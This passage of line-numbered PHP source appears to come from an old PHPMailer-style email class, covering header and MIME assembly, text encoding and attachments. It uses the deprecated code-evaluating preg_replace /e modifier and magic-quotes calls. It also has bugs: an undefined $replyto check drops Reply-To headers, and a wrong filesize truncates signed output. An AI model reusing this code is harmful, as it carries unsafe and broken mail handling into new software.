  2024. $addr_str .= $this->AddrFormat($addr[0]);
  2025. if(count($addr) > 1) {
  2026. for($i = 1; $i < count($addr); $i++) {
  2027. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2028. }
  2029. }
  2030. $addr_str .= $this->LE;
  2031.  
  2032. return $addr_str;
  2033. }
  2034.  
  2035. /**
  2036. * Formats an address correctly.
  2037. * @access private
  2038. * @return string
  2039. */
  2040. function AddrFormat($addr) {
  2041. if(empty($addr[1])) {
  2042. $formatted = $this->SecureHeader($addr[0]);
  2043. } else {
  2044. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2045. }
  2046.  
  2047. return $formatted;
  2048. }
  2049.  
  2050. /**
  2051. * Wraps message for use with mailers that do not
  2052. * automatically perform wrapping and for quoted-printable.
  2053. * Original written by philippe.
  2054. * @access private
  2055. * @return string
  2056. */
  2057. function WrapText($message, $length, $qp_mode = false) {
  2058. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2059. // If utf-8 encoding is used, we will need to make sure we don't
  2060. // split multibyte characters when we wrap
  2061. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2062.  
  2063. $message = $this->FixEOL($message);
  2064. if (substr($message, -1) == $this->LE) {
  2065. $message = substr($message, 0, -1);
  2066. }
  2067.  
  2068. $line = explode($this->LE, $message);
  2069. $message = '';
  2070. for ($i=0 ;$i < count($line); $i++) {
  2071. $line_part = explode(' ', $line[$i]);
  2072. $buf = '';
  2073. for ($e = 0; $e<count($line_part); $e++) {
  2074. $word = $line_part[$e];
  2075. if ($qp_mode and (strlen($word) > $length)) {
  2076. $space_left = $length - strlen($buf) - 1;
  2077. if ($e != 0) {
  2078. if ($space_left > 20) {
  2079. $len = $space_left;
  2080. if ($is_utf8) {
  2081. $len = $this->UTF8CharBoundary($word, $len);
  2082. } elseif (substr($word, $len - 1, 1) == "=") {
  2083. $len--;
  2084. } elseif (substr($word, $len - 2, 1) == "=") {
  2085. $len -= 2;
  2086. }
  2087. $part = substr($word, 0, $len);
  2088. $word = substr($word, $len);
  2089. $buf .= ' ' . $part;
  2090. $message .= $buf . sprintf("=%s", $this->LE);
  2091. } else {
  2092. $message .= $buf . $soft_break;
  2093. }
  2094. $buf = '';
  2095. }
  2096. while (strlen($word) > 0) {
  2097. $len = $length;
  2098. if ($is_utf8) {
  2099. $len = $this->UTF8CharBoundary($word, $len);
  2100. } elseif (substr($word, $len - 1, 1) == "=") {
  2101. $len--;
  2102. } elseif (substr($word, $len - 2, 1) == "=") {
  2103. $len -= 2;
  2104. }
  2105. $part = substr($word, 0, $len);
  2106. $word = substr($word, $len);
  2107.  
  2108. if (strlen($word) > 0) {
  2109. $message .= $part . sprintf("=%s", $this->LE);
  2110. } else {
  2111. $buf = $part;
  2112. }
  2113. }
  2114. } else {
  2115. $buf_o = $buf;
  2116. $buf .= ($e == 0) ? $word : (' ' . $word);
  2117.  
  2118. if (strlen($buf) > $length and $buf_o != '') {
  2119. $message .= $buf_o . $soft_break;
  2120. $buf = $word;
  2121. }
  2122. }
  2123. }
  2124. $message .= $buf . $this->LE;
  2125. }
  2126.  
  2127. return $message;
  2128. }
  2129.  
  2130. /**
  2131. * Finds last character boundary prior to maxLength in a utf-8
  2132. * quoted (printable) encoded string.
  2133. * Original written by Colin Brown.
  2134. * @access private
  2135. * @param string $encodedText utf-8 QP text
  2136. * @param int $maxLength find last character boundary prior to this length
  2137. * @return int
  2138. */
  2139. function UTF8CharBoundary($encodedText, $maxLength) {
  2140. $foundSplitPos = false;
  2141. $lookBack = 3;
  2142. while (!$foundSplitPos) {
  2143. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2144. $encodedCharPos = strpos($lastChunk, "=");
  2145. if ($encodedCharPos !== false) {
  2146. // Found start of encoded character byte within $lookBack block.
  2147. // Check the encoded byte value (the 2 chars after the '=')
  2148. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2149. $dec = hexdec($hex);
  2150. if ($dec < 128) { // Single byte character.
  2151. // If the encoded char was found at pos 0, it will fit
  2152. // otherwise reduce maxLength to start of the encoded char
  2153. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2154. $maxLength - ($lookBack - $encodedCharPos);
  2155. $foundSplitPos = true;
  2156. } elseif ($dec >= 192) { // First byte of a multi byte character
  2157. // Reduce maxLength to split at start of character
  2158. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2159. $foundSplitPos = true;
  2160. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2161. $lookBack += 3;
  2162. }
  2163. } else {
  2164. // No encoded character found
  2165. $foundSplitPos = true;
  2166. }
  2167. }
  2168. return $maxLength;
  2169. }
  2170.  
  2171. /**
  2172. * Set the body wrapping.
  2173. * @access private
  2174. * @return void
  2175. */
  2176. function SetWordWrap() {
  2177. if($this->WordWrap < 1) {
  2178. return;
  2179. }
  2180.  
  2181. switch($this->message_type) {
  2182. case 'alt':
  2183. /* fall through */
  2184. case 'alt_attachments':
  2185. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2186. break;
  2187. default:
  2188. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2189. break;
  2190. }
  2191. }
  2192.  
  2193. /**
  2194. * Assembles message header.
  2195. * @access private
  2196. * @return string
  2197. */
  2198. function CreateHeader() {
  2199. $result = '';
  2200.  
  2201. /* Set the boundaries */
  2202. $uniq_id = md5(uniqid(time()));
  2203. $this->boundary[1] = 'b1_' . $uniq_id;
  2204. $this->boundary[2] = 'b2_' . $uniq_id;
  2205.  
  2206. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2207. if($this->Sender == '') {
  2208. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2209. } else {
  2210. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2211. }
  2212.  
  2213. /* To be created automatically by mail() */
  2214. if($this->Mailer != 'mail') {
  2215. if(count($this->to) > 0) {
  2216. $result .= $this->AddrAppend('To', $this->to);
  2217. } elseif (count($this->cc) == 0) {
  2218. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2219. }
  2220. if(count($this->cc) > 0) {
  2221. $result .= $this->AddrAppend('Cc', $this->cc);
  2222. }
  2223. }
  2224.  
  2225. $from = array();
  2226. $from[0][0] = trim($this->From);
  2227. $from[0][1] = $this->FromName;
  2228. $result .= $this->AddrAppend('From', $from);
  2229.  
  2230. /* sendmail and mail() extract Cc from the header before sending */
  2231. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2232. $result .= $this->AddrAppend('Cc', $this->cc);
  2233. }
  2234.  
  2235. /* sendmail and mail() extract Bcc from the header before sending */
  2236. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2237. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2238. }
  2239. if($replyto != "")
  2240. {
  2241. if(count($this->ReplyTo) > 0) {
  2242. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2243. }
  2244. }
  2245. /* mail() sets the subject itself */
  2246. if($this->Mailer != 'mail') {
  2247. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2248. }
  2249.  
  2250. if($this->MessageID != '') {
  2251. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2252. } else {
  2253. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2254. }
  2255. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2256. if($this->ConfirmReadingTo != '') {
  2257. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2258. }
  2259.  
  2260. // Add custom headers
  2261. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2262. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2263. }
  2264. if (!$this->sign_key_file) {
  2265. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2266. $result .= $this->GetMailMIME();
  2267. }
  2268.  
  2269. return $result;
  2270. }
  2271.  
  2272. /**
  2273. * Returns the message MIME.
  2274. * @access private
  2275. * @return string
  2276. */
  2277. function GetMailMIME() {
  2278. $result = '';
  2279. switch($this->message_type) {
  2280. case 'plain':
  2281. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2282. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2283. break;
  2284. case 'attachments':
  2285. /* fall through */
  2286. case 'alt_attachments':
  2287. if($this->InlineImageExists()){
  2288. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2289. } else {
  2290. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2291. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2292. }
  2293. break;
  2294. case 'alt':
  2295. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2296. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2297. break;
  2298. }
  2299.  
  2300. if($this->Mailer != 'mail') {
  2301. $result .= $this->LE.$this->LE;
  2302. }
  2303.  
  2304. return $result;
  2305. }
  2306.  
  2307. /**
  2308. * Assembles the message body. Returns an empty string on failure.
  2309. * @access private
  2310. * @return string
  2311. */
  2312. function CreateBody() {
  2313. $result = '';
  2314. if ($this->sign_key_file) {
  2315. $result .= $this->GetMailMIME();
  2316. }
  2317.  
  2318. $this->SetWordWrap();
  2319.  
  2320. switch($this->message_type) {
  2321. case 'alt':
  2322. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2323. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2324. $result .= $this->LE.$this->LE;
  2325. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2326. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2327. $result .= $this->LE.$this->LE;
  2328. $result .= $this->EndBoundary($this->boundary[1]);
  2329. break;
  2330. case 'plain':
  2331. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2332. break;
  2333. case 'attachments':
  2334. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2335. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2336. $result .= $this->LE;
  2337. $result .= $this->AttachAll();
  2338. break;
  2339. case 'alt_attachments':
  2340. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2341. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2342. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2343. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2344. $result .= $this->LE.$this->LE;
  2345. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2346. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2347. $result .= $this->LE.$this->LE;
  2348. $result .= $this->EndBoundary($this->boundary[2]);
  2349. $result .= $this->AttachAll();
  2350. break;
  2351. }
  2352.  
  2353. if($this->IsError()) {
  2354. $result = '';
  2355. } else if ($this->sign_key_file) {
  2356. $file = tempnam("", "mail");
  2357. $fp = fopen($file, "w");
  2358. fwrite($fp, $result);
  2359. fclose($fp);
  2360. $signed = tempnam("", "signed");
  2361.  
  2362. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2363. $fp = fopen($signed, "r");
  2364. $result = fread($fp, filesize($this->sign_key_file));
  2365. fclose($fp);
  2366. } else {
  2367. $this->SetError($this->Lang("signing").openssl_error_string());
  2368. $result = '';
  2369. }
  2370.  
  2371. unlink($file);
  2372. unlink($signed);
  2373. }
  2374.  
  2375. return $result;
  2376. }
  2377.  
  2378. /**
  2379. * Returns the start of a message boundary.
  2380. * @access private
  2381. */
  2382. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2383. $result = '';
  2384. if($charSet == '') {
  2385. $charSet = $this->CharSet;
  2386. }
  2387. if($contentType == '') {
  2388. $contentType = $this->ContentType;
  2389. }
  2390. if($encoding == '') {
  2391. $encoding = $this->Encoding;
  2392. }
  2393. $result .= $this->TextLine('--' . $boundary);
  2394. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2395. $result .= $this->LE;
  2396. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2397. $result .= $this->LE;
  2398.  
  2399. return $result;
  2400. }
  2401.  
  2402. /**
  2403. * Returns the end of a message boundary.
  2404. * @access private
  2405. */
  2406. function EndBoundary($boundary) {
  2407. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2408. }
  2409.  
  2410. /**
  2411. * Sets the message type.
  2412. * @access private
  2413. * @return void
  2414. */
  2415. function SetMessageType() {
  2416. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2417. $this->message_type = 'plain';
  2418. } else {
  2419. if(count($this->attachment) > 0) {
  2420. $this->message_type = 'attachments';
  2421. }
  2422. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2423. $this->message_type = 'alt';
  2424. }
  2425. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2426. $this->message_type = 'alt_attachments';
  2427. }
  2428. }
  2429. }
  2430.  
  2431. /* Returns a formatted header line.
  2432. * @access private
  2433. * @return string
  2434. */
  2435. function HeaderLine($name, $value) {
  2436. return $name . ': ' . $value . $this->LE;
  2437. }
  2438.  
  2439. /**
  2440. * Returns a formatted mail line.
  2441. * @access private
  2442. * @return string
  2443. */
  2444. function TextLine($value) {
  2445. return $value . $this->LE;
  2446. }
  2447.  
  2448. /////////////////////////////////////////////////
  2449. // CLASS METHODS, ATTACHMENTS
  2450. /////////////////////////////////////////////////
  2451.  
  2452. /**
  2453. * Adds an attachment from a path on the filesystem.
  2454. * Returns false if the file could not be found
  2455. * or accessed.
  2456. * @param string $path Path to the attachment.
  2457. * @param string $name Overrides the attachment name.
  2458. * @param string $encoding File encoding (see $Encoding).
  2459. * @param string $type File extension (MIME) type.
  2460. * @return bool
  2461. */
  2462. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2463. if(!@is_file($path)) {
  2464. $this->SetError($this->Lang('file_access') . $path);
  2465. return false;
  2466. }
  2467.  
  2468. $filename = basename($path);
  2469. if($name == '') {
  2470. $name = $filename;
  2471. }
  2472.  
  2473. $cur = count($this->attachment);
  2474. $this->attachment[$cur][0] = $path;
  2475. $this->attachment[$cur][1] = $filename;
  2476. $this->attachment[$cur][2] = $name;
  2477. $this->attachment[$cur][3] = $encoding;
  2478. $this->attachment[$cur][4] = $type;
  2479. $this->attachment[$cur][5] = false; // isStringAttachment
  2480. $this->attachment[$cur][6] = 'attachment';
  2481. $this->attachment[$cur][7] = 0;
  2482.  
  2483. return true;
  2484. }
  2485.  
  2486. /**
  2487. * Attaches all fs, string, and binary attachments to the message.
  2488. * Returns an empty string on failure.
  2489. * @access private
  2490. * @return string
  2491. */
  2492. function AttachAll() {
  2493. /* Return text of body */
  2494. $mime = array();
  2495.  
  2496. /* Add all attachments */
  2497. for($i = 0; $i < count($this->attachment); $i++) {
  2498. /* Check for string attachment */
  2499. $bString = $this->attachment[$i][5];
  2500. if ($bString) {
  2501. $string = $this->attachment[$i][0];
  2502. } else {
  2503. $path = $this->attachment[$i][0];
  2504. }
  2505.  
  2506. $filename = $this->attachment[$i][1];
  2507. $name = $this->attachment[$i][2];
  2508. $encoding = $this->attachment[$i][3];
  2509. $type = $this->attachment[$i][4];
  2510. $disposition = $this->attachment[$i][6];
  2511. $cid = $this->attachment[$i][7];
  2512.  
  2513. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2514. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2515. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2516.  
  2517. if($disposition == 'inline') {
  2518. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2519. }
  2520.  
  2521. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2522.  
  2523. /* Encode as string attachment */
  2524. if($bString) {
  2525. $mime[] = $this->EncodeString($string, $encoding);
  2526. if($this->IsError()) {
  2527. return '';
  2528. }
  2529. $mime[] = $this->LE.$this->LE;
  2530. } else {
  2531. $mime[] = $this->EncodeFile($path, $encoding);
  2532. if($this->IsError()) {
  2533. return '';
  2534. }
  2535. $mime[] = $this->LE.$this->LE;
  2536. }
  2537. }
  2538.  
  2539. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2540.  
  2541. return join('', $mime);
  2542. }
  2543.  
  2544. /**
  2545. * Encodes attachment in requested format. Returns an
  2546. * empty string on failure.
  2547. * @access private
  2548. * @return string
  2549. */
  2550. function EncodeFile ($path, $encoding = 'base64') {
  2551. if(!@$fd = fopen($path, 'rb')) {
  2552. $this->SetError($this->Lang('file_open') . $path);
  2553. return '';
  2554. }
  2555. $magic_quotes = get_magic_quotes_runtime();
  2556. set_magic_quotes_runtime(0);
  2557. $file_buffer = fread($fd, filesize($path));
  2558. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2559. fclose($fd);
  2560. set_magic_quotes_runtime($magic_quotes);
  2561.  
  2562. return $file_buffer;
  2563. }
  2564.  
  2565. /**
  2566. * Encodes string to requested format. Returns an
  2567. * empty string on failure.
  2568. * @access private
  2569. * @return string
  2570. */
  2571. function EncodeString ($str, $encoding = 'base64') {
  2572. $encoded = '';
  2573. switch(strtolower($encoding)) {
  2574. case 'base64':
  2575. /* chunk_split is found in PHP >= 3.0.6 */
  2576. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2577. break;
  2578. case '7bit':
  2579. case '8bit':
  2580. $encoded = $this->FixEOL($str);
  2581. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2582. $encoded .= $this->LE;
  2583. break;
  2584. case 'binary':
  2585. $encoded = $str;
  2586. break;
  2587. case 'quoted-printable':
  2588. $encoded = $this->EncodeQP($str);
  2589. break;
  2590. default:
  2591. $this->SetError($this->Lang('encoding') . $encoding);
  2592. break;
  2593. }
  2594. return $encoded;
  2595. }
  2596.  
  2597. /**
  2598. * Encode a header string to best of Q, B, quoted or none.
  2599. * @access private
  2600. * @return string
  2601. */
  2602. function EncodeHeader ($str, $position = 'text') {
  2603. $x = 0;
  2604.  
  2605. switch (strtolower($position)) {
  2606. case 'phrase':
  2607. if (!preg_match('/[\200-\377]/', $str)) {
  2608. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2609. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2610. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2611. return ($encoded);
  2612. } else {
  2613. return ("\"$encoded\"");
  2614. }
  2615. }
  2616. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2617. break;
  2618. case 'comment':
  2619. $x = preg_match_all('/[()"]/', $str, $matches);
  2620. /* Fall-through */
  2621. case 'text':
  2622. default:
  2623. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2624. break;
  2625. }
  2626.  
  2627. if ($x == 0) {
  2628. return ($str);
  2629. }
  2630.  
  2631. $maxlen = 75 - 7 - strlen($this->CharSet);
  2632. /* Try to select the encoding which should produce the shortest output */
  2633. if (strlen($str)/3 < $x) {
  2634. $encoding = 'B';
  2635. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2636. // Use a custom function which correctly encodes and wraps long
  2637. // multibyte strings without breaking lines within a character
  2638. $encoded = $this->Base64EncodeWrapMB($str);
  2639. } else {
  2640. $encoded = base64_encode($str);
  2641. $maxlen -= $maxlen % 4;
  2642. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2643. }
  2644. } else {
  2645. $encoding = 'Q';
  2646. $encoded = $this->EncodeQ($str, $position);
  2647. $encoded = $this->WrapText($encoded, $maxlen, true);
  2648. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2649. }
  2650.  
  2651. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2652. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2653.  
  2654. return $encoded;
  2655. }
  2656.  
  2657. /**
  2658. * Checks if a string contains multibyte characters.
  2659. * @access private
  2660. * @param string $str multi-byte text to wrap encode
  2661. * @return bool
  2662. */
  2663. function HasMultiBytes($str) {
  2664. if (function_exists('mb_strlen')) {
  2665. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2666. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2667. return False;
  2668. }
  2669. }
  2670.  
  2671. /**
  2672. * Correctly encodes and wraps long multibyte strings for mail headers
  2673. * without breaking lines within a character.
  2674. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2675. * @access private
  2676. * @param string $str multi-byte text to wrap encode
  2677. * @return string
  2678. */
  2679. function Base64EncodeWrapMB($str) {
  2680. $start = "=?".$this->CharSet."?B?";
  2681. $end = "?=";
  2682. $encoded = "";
  2683.  
  2684. $mb_length = mb_strlen($str, $this->CharSet);
  2685. // Each line must have length <= 75, including $start and $end
  2686. $length = 75 - strlen($start) - strlen($end);
  2687. // Average multi-byte ratio
  2688. $ratio = $mb_length / strlen($str);
  2689. // Base64 has a 4:3 ratio
  2690. $offset = $avgLength = floor($length * $ratio * .75);
  2691.  
  2692. for ($i = 0; $i < $mb_length; $i += $offset) {
  2693. $lookBack = 0;
  2694.  
  2695. do {
  2696. $offset = $avgLength - $lookBack;
  2697. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2698. $chunk = base64_encode($chunk);
  2699. $lookBack++;
  2700. }
  2701. while (strlen($chunk) > $length);
  2702.  
  2703. $encoded .= $chunk . $this->LE;
  2704. }
  2705.  
  2706. // Chomp the last linefeed
  2707. $encoded = substr($encoded, 0, -strlen($this->LE));
  2708. return $encoded;
  2709. }
  2710.  
  2711. /**
  2712. * Encode string to quoted-printable.
  2713. * @access private
  2714. * @return string
  2715. */
  2716. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2717. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2718. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2719. $eol = "\r\n";
  2720. $escape = '=';
  2721. $output = '';
  2722. while( list(, $line) = each($lines) ) {
  2723. $linlen = strlen($line);
  2724. $newline = '';
  2725. for($i = 0; $i < $linlen; $i++) {
  2726. $c = substr( $line, $i, 1 );
  2727. $dec = ord( $c );
  2728. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2729. $c = '=2E';
  2730. }
  2731. if ( $dec == 32 ) {
  2732. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2733. $c = '=20';
  2734. } else if ( $space_conv ) {
  2735. $c = '=20';
  2736. }
  2737. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2738. $h2 = floor($dec/16);
  2739. $h1 = floor($dec%16);
  2740. $c = $escape.$hex[$h2].$hex[$h1];
  2741. }
  2742. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2743. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2744. $newline = '';
  2745. // check if newline first character will be point or not
  2746. if ( $dec == 46 ) {
  2747. $c = '=2E';
  2748. }
  2749. }
  2750. $newline .= $c;
  2751. } // end of for
  2752. $output .= $newline.$eol;
  2753. } // end of while
  2754. return trim($output);
  2755. }
  2756.  
  2757. /**
  2758. * Encode string to q encoding.
  2759. * @access private
  2760. * @return string
  2761. */
  2762. function EncodeQ ($str, $position = 'text') {
  2763. /* There should not be any EOL in the string */
  2764. $encoded = preg_replace("[\r\n]", '', $str);
  2765.  
  2766. switch (strtolower($position)) {
  2767. case 'phrase':
  2768. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2769. break;
  2770. case 'comment':
  2771. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2772. case 'text':
  2773. default:
  2774. /* Replace every high ascii, control =, ? and _ characters */
  2775. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2776. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2777. break;
  2778. }
  2779.  
  2780. /* Replace every spaces to _ (more readable than =20) */
  2781. $encoded = str_replace(' ', '_', $encoded);
  2782.  
  2783. return $encoded;
  2784. }
  2785.  
  2786. /**
  2787. * Adds a string or binary attachment (non-filesystem) to the list.
  2788. * This method can be used to attach ascii or binary data,
  2789. * such as a BLOB record from a database.
  2790. * @param string $string String attachment data.
  2791. * @param string $filename Name of the attachment.
  2792. * @param string $encoding File encoding (see $Encoding).
  2793. * @param string $type File extension (MIME) type.
  2794. * @return void
  2795. */
  2796. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2797. /* Append to $attachment array */
  2798. $cur = count($this->attachment);
  2799. $this->attachment[$cur][0] = $string;
  2800. $this->attachment[$cur][1] = $filename;
  2801. $this->attachment[$cur][2] = $filename;
  2802. $this->attachment[$cur][3] = $encoding;
  2803. $this->attachment[$cur][4] = $type;
  2804. $this->attachment[$cur][5] = true; // isString
  2805. $this->attachment[$cur][6] = 'attachment';
  2806. $this->attachment[$cur][7] = 0;
  2807. }
  2808.  
  2809. /**
  2810. * Adds an embedded attachment. This can include images, sounds, and
  2811. * just about any other document. Make sure to set the $type to an
  2812. * image type. For JPEG images use "image/jpeg" and for GIF images
  2813. * use "image/gif".
  2814. * @param string $path Path to the attachment.
  2815. * @param string $cid Content ID of the attachment. Use this to identify
  2816. * the Id for accessing the image in an HTML form.
  2817. * @param string $name Overrides the attachment name.
  2818. * @param string $encoding File encoding (see $Encoding).
  2819. * @param string $type File extension (MIME) type.
  2820. * @return bool
  2821. */
  2822. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2823.  
  2824. if(!@is_file($path)) {
  2825. $this->SetError($this->Lang('file_access') . $path);
  2826. return false;
  2827. }
  2828.  
  2829. $filename = basename($path);
  2830. if($name == '') {
  2831. $name = $filename;
  2832. }
  2833.  
  2834. /* Append to $attachment array */
  2835. $cur = count($this->attachment);
  2836. $this->attachment[$cur][0] = $path;
  2837. $this->attachment[$cur][1] = $filename;
  2838. $this->attachment[$cur][2] = $name;
  2839. $this->attachment[$cur][3] = $encoding;
  2840. $this->attachment[$cur][4] = $type;
  2841. $this->attachment[$cur][5] = false;
  2842. $this->attachment[$cur][6] = 'inline';
  2843. $this->attachment[$cur][7] = $cid;
  2844.  
  2845. return true;
  2846. }
  2847.  
  2848. /**
  2849. * Returns true if an inline attachment is present.
  2850. * @access private
  2851. * @return bool
  2852. */
  2853. function InlineImageExists() {
  2854. $result = false;
  2855. for($i = 0; $i < count($this->attachment); $i++) {
  2856. if($this->attachment[$i][6] == 'inline') {
  2857. $result = true;
  2858. break;
  2859. }
  2860. }
  2861.  
  2862. return $result;
  2863. }
  2864.  
  2865. /////////////////////////////////////////////////
  2866. // CLASS METHODS, MESSAGE RESET
  2867. /////////////////////////////////////////////////
  2868.  
  2869. /**
  2870. * Clears all recipients assigned in the TO array. Returns void.
  2871. * @return void
  2872. */
  2873. function ClearAddresses() {
  2874. $this->to = array();
  2875. }
  2876.  
  2877. /**
  2878. * Clears all recipients assigned in the CC array. Returns void.
  2879. * @return void
  2880. */
  2881. function ClearCCs() {
  2882. $this->cc = array();
  2883. }
  2884.  
  2885. /**
  2886. * Clears all recipients assigned in the BCC array. Returns void.
  2887. * @return void
  2888. */
  2889. function ClearBCCs() {
  2890. $this->bcc = array();
  2891. }
  2892.  
  2893. /**
  2894. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2895. * @return void
  2896. */
  2897. function ClearReplyTos() {
  2898. $this->ReplyTo = array();
  2899. }
  2900.  
  2901. /**
  2902. * Clears all recipients assigned in the TO, CC and BCC
  2903. * array. Returns void.
  2904. * @return void
  2905. */
  2906. function ClearAllRecipients() {
  2907. $this->to = array();
  2908. $this->cc = array();
  2909. $this->bcc = array();
  2910. }
  2911.  
  2912. /**
  2913. * Clears all previously set filesystem, string, and binary
  2914. * attachments. Returns void.
  2915. * @return void
  2916. */
  2917. function ClearAttachments() {
  2918. $this->attachment = array();
  2919. }
  2920.  
  2921. /**
  2922. * Clears all custom headers. Returns void.
  2923. * @return void
  2924. */
  2925. function ClearCustomHeaders() {
  2926. $this->CustomHeader = array();
  2927. }
  2928.  
  2929. /////////////////////////////////////////////////
  2930. // CLASS METHODS, MISCELLANEOUS
  2931. /////////////////////////////////////////////////
  2932.  
  2933. /**
  2934. * Adds the error message to the error container.
  2935. * Returns void.
  2936. * @access private
  2937. * @return void
  2938. */
  2939. function SetError($msg) {
  2940. $this->error_count++;
  2941. $this->ErrorInfo = $msg;
  2942. }
  2943.  
  2944. /**
  2945. * Returns the proper RFC 822 formatted date.
  2946. * @access private
  2947. * @return string
  2948. */
